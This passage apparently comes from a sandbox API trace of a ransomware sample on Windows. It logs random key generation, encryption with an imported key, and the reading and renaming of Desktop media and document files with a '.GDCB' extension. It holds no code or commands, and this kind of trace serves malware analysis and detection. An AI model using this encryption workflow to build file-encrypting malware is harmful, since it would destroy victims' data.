CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0136.816] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.816] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.816] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.816] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.816] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0136.818] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x32ab70) returned 1 [0136.818] CryptGetKeyParam (in: hKey=0x32ab70, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.818] CryptEncrypt (in: hKey=0x32ab70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.818] GetLastError () returned 0x0 [0136.818] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.818] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0136.820] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x32b0f0) returned 1 [0136.820] CryptGetKeyParam (in: hKey=0x32b0f0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.820] CryptEncrypt (in: hKey=0x32b0f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.820] GetLastError () returned 0x0 [0136.820] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.820] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aWlcbVjj2 N5W7gRzUu\\DJJGr.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\awlcbvjj2 n5w7grzuu\\djjgr.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.820] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.821] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.821] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x1475d, lpOverlapped=0x0) returned 1 [0136.829] VirtualAlloc (lpAddress=0x0, dwSize=0x14760, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.835] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aWlcbVjj2 N5W7gRzUu\\DJJGr.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\awlcbvjj2 n5w7grzuu\\djjgr.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aWlcbVjj2 N5W7gRzUu\\DJJGr.wav.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\awlcbvjj2 n5w7grzuu\\djjgr.wav.gdcb")) returned 1 [0136.836] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0136.836] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.836] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.836] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.836] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.836] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0136.837] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.837] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.837] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.837] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.837] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.839] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x32b230) returned 1 [0136.839] CryptGetKeyParam (in: hKey=0x32b230, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.839] CryptEncrypt (in: hKey=0x32b230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.839] GetLastError () returned 0x0 [0136.839] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.839] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0136.841] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x32abb0) returned 1 [0136.841] CryptGetKeyParam (in: hKey=0x32abb0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.841] CryptEncrypt (in: hKey=0x32abb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.841] GetLastError () returned 0x0 [0136.841] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.841] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aWlcbVjj2 N5W7gRzUu\\E3nwHKKhrNc.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\awlcbvjj2 n5w7grzuu\\e3nwhkkhrnc.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.842] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.842] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.842] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0xe377, lpOverlapped=0x0) returned 1 [0136.851] VirtualAlloc (lpAddress=0x0, dwSize=0xe380, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.856] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aWlcbVjj2 N5W7gRzUu\\E3nwHKKhrNc.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\awlcbvjj2 n5w7grzuu\\e3nwhkkhrnc.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aWlcbVjj2 N5W7gRzUu\\E3nwHKKhrNc.avi.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\awlcbvjj2 n5w7grzuu\\e3nwhkkhrnc.avi.gdcb")) returned 1 [0136.857] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0136.857] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.858] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.858] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.858] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.858] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0136.858] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.858] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.858] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.858] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.858] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.860] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x32ac70) returned 1 [0136.860] CryptGetKeyParam (in: hKey=0x32ac70, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.861] CryptEncrypt (in: hKey=0x32ac70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.861] GetLastError () returned 0x0 [0136.861] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.861] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.862] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x32aef0) returned 1 [0136.862] CryptGetKeyParam (in: hKey=0x32aef0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.862] CryptEncrypt (in: hKey=0x32aef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.863] GetLastError () returned 0x0 [0136.863] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.863] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aWlcbVjj2 N5W7gRzUu\\m mArdoH QZh2LspL.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\awlcbvjj2 n5w7grzuu\\m mardoh qzh2lspl.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.863] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.863] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.863] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x13551, lpOverlapped=0x0) returned 1 [0136.872] VirtualAlloc (lpAddress=0x0, dwSize=0x13560, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.877] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aWlcbVjj2 N5W7gRzUu\\m mArdoH QZh2LspL.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\awlcbvjj2 n5w7grzuu\\m mardoh qzh2lspl.pptx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aWlcbVjj2 N5W7gRzUu\\m mArdoH QZh2LspL.pptx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\awlcbvjj2 n5w7grzuu\\m mardoh qzh2lspl.pptx.gdcb")) returned 1 [0136.878] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecca0) returned 1 [0136.879] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.879] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.879] CryptGenRandom (in: hProv=0x2ecca0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.879] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0136.879] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0136.879] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.879] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.879] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.879] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.879] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.881] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x32ae70) returned 1 [0136.881] CryptGetKeyParam (in: hKey=0x32ae70, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.881] CryptEncrypt (in: hKey=0x32ae70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.881] GetLastError () returned 0x0 [0136.881] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.881] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0136.883] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x32b0b0) returned 1 [0136.883] CryptGetKeyParam (in: hKey=0x32b0b0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.883] CryptEncrypt (in: hKey=0x32b0b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.883] GetLastError () returned 0x0 [0136.883] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.883] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aWlcbVjj2 N5W7gRzUu\\pCAr B4s-Dnk.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\awlcbvjj2 n5w7grzuu\\pcar b4s-dnk.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.884] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.884] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.884] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x8eb6, lpOverlapped=0x0) returned 1 [0136.893] VirtualAlloc (lpAddress=0x0, dwSize=0x8ec0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.897] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aWlcbVjj2 N5W7gRzUu\\pCAr B4s-Dnk.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\awlcbvjj2 n5w7grzuu\\pcar b4s-dnk.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aWlcbVjj2 N5W7gRzUu\\pCAr B4s-Dnk.avi.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\awlcbvjj2 n5w7grzuu\\pcar b4s-dnk.avi.gdcb")) returned 1 [0136.899] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0136.899] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.899] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.899] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.899] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.899] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0136.900] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.900] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.900] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.900] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.900] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.902] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x32af30) returned 1 [0136.902] CryptGetKeyParam (in: hKey=0x32af30, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.902] CryptEncrypt (in: hKey=0x32af30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.902] GetLastError () returned 0x0 [0136.902] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.902] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0136.904] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x32b1f0) returned 1 [0136.904] CryptGetKeyParam (in: hKey=0x32b1f0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.904] CryptEncrypt (in: hKey=0x32b1f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.904] GetLastError () returned 0x0 [0136.904] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.904] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aWlcbVjj2 N5W7gRzUu\\Slrus_KiV.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\awlcbvjj2 n5w7grzuu\\slrus_kiv.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.904] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.905] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.905] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0xa197, lpOverlapped=0x0) returned 1 [0136.913] VirtualAlloc (lpAddress=0x0, dwSize=0xa1a0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.918] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aWlcbVjj2 N5W7gRzUu\\Slrus_KiV.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\awlcbvjj2 n5w7grzuu\\slrus_kiv.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aWlcbVjj2 N5W7gRzUu\\Slrus_KiV.gif.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\awlcbvjj2 n5w7grzuu\\slrus_kiv.gif.gdcb")) returned 1 [0136.919] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0136.920] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.920] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.920] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.920] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.920] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0136.920] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.920] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.920] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.921] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.921] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.922] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x32adf0) returned 1 [0136.922] CryptGetKeyParam (in: hKey=0x32adf0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.922] CryptEncrypt (in: hKey=0x32adf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.923] GetLastError () returned 0x0 [0136.923] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.923] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0136.924] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x32afb0) returned 1 [0136.924] CryptGetKeyParam (in: hKey=0x32afb0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.924] CryptEncrypt (in: hKey=0x32afb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.925] GetLastError () returned 0x0 [0136.925] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.925] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aWlcbVjj2 N5W7gRzUu\\ZdIFxnCVv1avem R.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\awlcbvjj2 n5w7grzuu\\zdifxncvv1avem r.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.925] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.925] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.925] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0xe04a, lpOverlapped=0x0) returned 1 [0136.964] VirtualAlloc (lpAddress=0x0, dwSize=0xe050, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.969] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aWlcbVjj2 N5W7gRzUu\\ZdIFxnCVv1avem R.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\awlcbvjj2 n5w7grzuu\\zdifxncvv1avem r.png"), 